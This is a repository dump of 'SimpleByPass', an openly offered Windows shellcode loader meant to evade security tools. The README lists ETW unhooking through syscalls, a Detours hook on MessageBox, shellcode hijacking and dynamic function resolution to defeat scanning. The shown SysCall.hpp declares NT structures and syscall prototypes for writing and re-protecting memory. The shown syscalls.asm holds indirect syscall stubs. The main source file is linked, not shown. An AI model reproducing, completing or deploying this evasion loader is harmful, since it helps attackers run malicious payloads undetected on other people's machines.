├── .gitignore ├── Image1.PNG ├── Image2.PNG ├── Image3.PNG ├── Includes.hpp ├── LICENSE ├── README.md ├── Read Me.txt ├── SimpleByPass.sln ├── SimpleByPass.vcxproj ├── SimpleByPass.vcxproj.filters ├── SimpleByPass.vcxproj.user ├── SysCall.hpp ├── hdlog.hpp ├── main.cpp └── syscalls.asm /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /Image1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/Image1.PNG -------------------------------------------------------------------------------- /Image2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/Image2.PNG -------------------------------------------------------------------------------- /Image3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/Image3.PNG -------------------------------------------------------------------------------- /Includes.hpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/Includes.hpp -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Shashen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SimpleByPass
2 | Simple Shellcode Loader Using
3 | 1.Syscall to unhook(Anti EtwHook)
4 | 2.Detours(Hook MessageBox to Load)
5 | 3.Simple hijacking Shellcode
6 | 4.Dynamic Function to Anti Simple Scan
7 |
8 | ---------------------How to Build---------------------
9 | vcpkg to install detours lib
10 | VS2019 WIN10
11 | ---------------------How to Build---------------------
12 |
13 |
14 |
15 | Powered By ShaShen
16 | -------------------------------------------------------------------------------- /Read Me.txt: -------------------------------------------------------------------------------- 1 | Powered By ShaShen -------------------------------------------------------------------------------- /SimpleByPass.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.34407.143 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SimpleByPass", "SimpleByPass.vcxproj", "{1D4A3BBD-F068-462D-898D-2F215871E744}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Debug|x64.ActiveCfg = Debug|x64 17 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Debug|x64.Build.0 = Debug|x64 18 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Debug|x86.Build.0 = Debug|Win32 20 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Release|x64.ActiveCfg = Release|x64 21 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Release|x64.Build.0 = Release|x64 22 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Release|x86.ActiveCfg = Release|Win32 23 | {1D4A3BBD-F068-462D-898D-2F215871E744}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4BC13386-B946-46F4-B1B4-2D3BD72D2CEF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SimpleByPass.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {1d4a3bbd-f068-462d-898d-2f215871e744} 25 | SimpleByPass 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 4996 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | Level3 129 | true 130 | true 131 | true 132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | true 134 | stdcpp20 135 | stdc17 136 | 4996 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | Document 156 | ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm 157 | $(IntDir)%(fileName).obj 158 | 159 | 160 | 161 | 162 | 163 | -------------------------------------------------------------------------------- /SimpleByPass.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | 头文件 28 | 29 | 30 | 头文件 31 | 32 | 33 | 34 | 35 | 源文件 36 | 37 | 38 | -------------------------------------------------------------------------------- /SimpleByPass.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /SysCall.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Includes.hpp" 3 | 4 | /* 5 | * Define other NT stuff 6 | */ 7 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 8 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 9 | 10 | 11 | /* 12 | * Define structs 13 | */ 14 | typedef struct _SYSCALL_ENTRY { 15 | PVOID Address; 16 | std::string Name; 17 | SIZE_T Size; 18 | } SYSCALL_ENTRY, * PSYSCALL_ENTRY; 19 | 20 | typedef struct _UNICODE_STRING { 21 | USHORT Length; 22 | USHORT MaximumLength; 23 | PWSTR Buffer; 24 | } UNICODE_STRING, * PUNICODE_STRING; 25 | 26 | typedef struct _PEB_LDR_DATA { 27 | ULONG Length; 28 | BOOLEAN Initialized; 29 | PVOID SsHandle; 30 | LIST_ENTRY InLoadOrderModuleList; 31 | LIST_ENTRY InMemoryOrderModuleList; 32 | LIST_ENTRY InInitializationOrderModuleList; 33 | PVOID EntryInProgress; 34 | BOOLEAN ShutdownInProgress; 35 | PVOID ShutdownThreadId; 36 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 37 | 38 | typedef struct _LDR_DATA_TABLE_ENTRY { 39 | LIST_ENTRY InLoadOrderLinks; 40 | LIST_ENTRY InMemoryOrderLinks; 41 | LIST_ENTRY InInitializationOrderLinks; 42 | PVOID DllBase; 43 | PVOID EntryPoint; 44 | ULONG SizeOfImage; 45 | UNICODE_STRING FullDllName; 46 | UNICODE_STRING BaseDllName; 47 | ULONG Flags; 48 | USHORT LoadCount; 49 | USHORT TlsIndex; 50 | LIST_ENTRY HashLinks; 51 | ULONG TimeDateStamp; 52 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 53 | 54 | #ifdef _WIN64 55 | typedef struct _PEB { 56 | BOOLEAN InheritedAddressSpace; 57 | BOOLEAN ReadImageFileExecOptions; 58 | BOOLEAN BeingDebugged; 59 | BOOLEAN BitField; 60 | HANDLE Mutant; 61 | PVOID ImageBaseAddress; 62 | PPEB_LDR_DATA Ldr; 63 | // ... other members are not relevant 64 | } PEB, * PPEB; 65 | #else 66 | typedef struct _PEB { 67 | BOOLEAN InheritedAddressSpace; 68 | BOOLEAN ReadImageFileExecOptions; 69 | BOOLEAN BeingDebugged; 70 | BOOLEAN SpareBool; 71 | HANDLE Mutant; 72 | PVOID ImageBaseAddress; 73 | PPEB_LDR_DATA Ldr; 74 | // ... other members are not relevant 75 | } PEB, * PPEB; 76 | #endif 77 | 78 | typedef struct _OBJECT_ATTRIBUTES { 79 | ULONG Length; 80 | HANDLE RootDirectory; 81 | PUNICODE_STRING ObjectName; 82 | ULONG Attributes; 83 | PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR 84 | PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE 85 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 86 | 87 | typedef struct _IO_STATUS_BLOCK { 88 | union { 89 | NTSTATUS Status; 90 | PVOID Pointer; 91 | }; 92 | ULONG_PTR Information; 93 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 94 | 95 | /* 96 | * Define syscalls 97 | */ 98 | EXTERN_C NTSTATUS NtWriteVirtualMemory( 99 | HANDLE ProcessHandle, 100 | PVOID BaseAddress, 101 | PVOID Buffer, 102 | ULONG NumberOfBytesToWrite, 103 | PULONG NumberOfBytesWritten, 104 | int syscallID 105 | ); 106 | 107 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 108 | HANDLE ProcessHandle, 109 | PVOID* BaseAddress, 110 | PSIZE_T NumberOfBytesToProtect, 111 | ULONG NewAccessProtection, 112 | PULONG OldAccessProtection, 113 | int syscallID 114 | ); 115 | 116 | extern "C" void SetJumpAddress(uintptr_t jumpAddress); 117 | -------------------------------------------------------------------------------- /hdlog.hpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/hdlog.hpp -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0sha0/SimpleByPass/077d9ca7e23d30eaadc4245c316ef3f700b7df44/main.cpp -------------------------------------------------------------------------------- /syscalls.asm: -------------------------------------------------------------------------------- 1 | .data 2 | jumpAddress dq 0 3 | 4 | .code 5 | PUBLIC NtProtectVirtualMemory 6 | PUBLIC NtWriteVirtualMemory 7 | PUBLIC SetJumpAddress ; Function to set jumpAddress 8 | 9 | SetJumpAddress proc 10 | mov [jumpAddress], rcx ; Assume the new address is passed in RCX 11 | ret 12 | SetJumpAddress endp 13 | 14 | NtProtectVirtualMemory proc 15 | mov r11, [jumpAddress] ; Load indirect syscall address into R11 register 16 | mov eax, [rsp+30h] ; Move syscall ID into RAX register 17 | mov r10, rcx 18 | jmp r11 ; Indirect syscall via jump to address stored in R11 19 | NtProtectVirtualMemory endp 20 | 21 | NtWriteVirtualMemory proc 22 | mov r11, [jumpAddress] ; Load indirect syscall address into R11 register 23 | mov eax, [rsp+30h] ; Move syscall ID into RAX register 24 | mov r10, rcx 25 | jmp r11 ; Indirect syscall via jump to address stored in R11 26 | NtWriteVirtualMemory endp 27 | 28 | end --------------------------------------------------------------------------------